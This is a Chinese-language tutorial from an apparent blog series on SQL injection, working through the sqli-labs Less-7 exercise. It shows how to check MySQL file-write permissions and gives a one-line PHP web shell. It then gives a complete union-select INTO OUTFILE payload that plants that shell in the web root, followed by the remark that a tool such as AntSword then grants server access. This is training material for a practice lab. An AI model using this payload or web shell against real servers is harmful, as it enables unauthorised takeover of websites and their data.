SQL注入(8):sql注入文件上传
除了在页面查询数据库内容外,SQL注入还有另外一种利用方式:利用MySQL在服务器的写权限,上传我们的文件,以达到拿到Web Shell的目的。
要点
-
show variables like '%secure%';
:用于查看MySQl是否具有读写文件的权限查询返回的
secure_file_priv
有三种状态:- 空 ——对于整个硬盘数据都可以读写
- 特定路径——只能在指定路径下面读写
- NULL ——不能在服务器上进行任何读写
-
into outfile
:写入服务器文件;例如into outfile "D:\\phpstudy_pro\\WWW\\test.php"
,D:\\phpstudy_pro\\WWW\\
为文件写入的目录,test.php
为新写入的文件名。 -
一句话木马:
1
<?php @eval($_POST['password'])?>
password为预留的密码。
Less-7
直接进行实际例子展示。首先是判断字符型还是数字型注入
![image-20230413232824463](https://image.icewindy.cn/202304132328487.png)
简单判断得出为字符型。接下来判断闭合方式,具体判断过程可以参考上一篇文章
![image-20230413235038982](https://image.icewindy.cn/202304132350005.png)
测试列数,测试得出group by 3
,即三列。
结合上面要点提到的文件上传和一句话木马构建拿取Web Shell命令
1 | ?id=-1')) union select 1,"<?php @eval($_POST['password'])?>",3 into outfile "D:\\phpstudy_pro\\WWW\\test.php" --+ |
这样我们就可以把一句话木马注入到服务器中。
然后使用一句话木马利用工具(蚁剑等)就可以成功拿取服务器权限了。
![image-20230414012546998](https://image.icewindy.cn/202304140125065.png)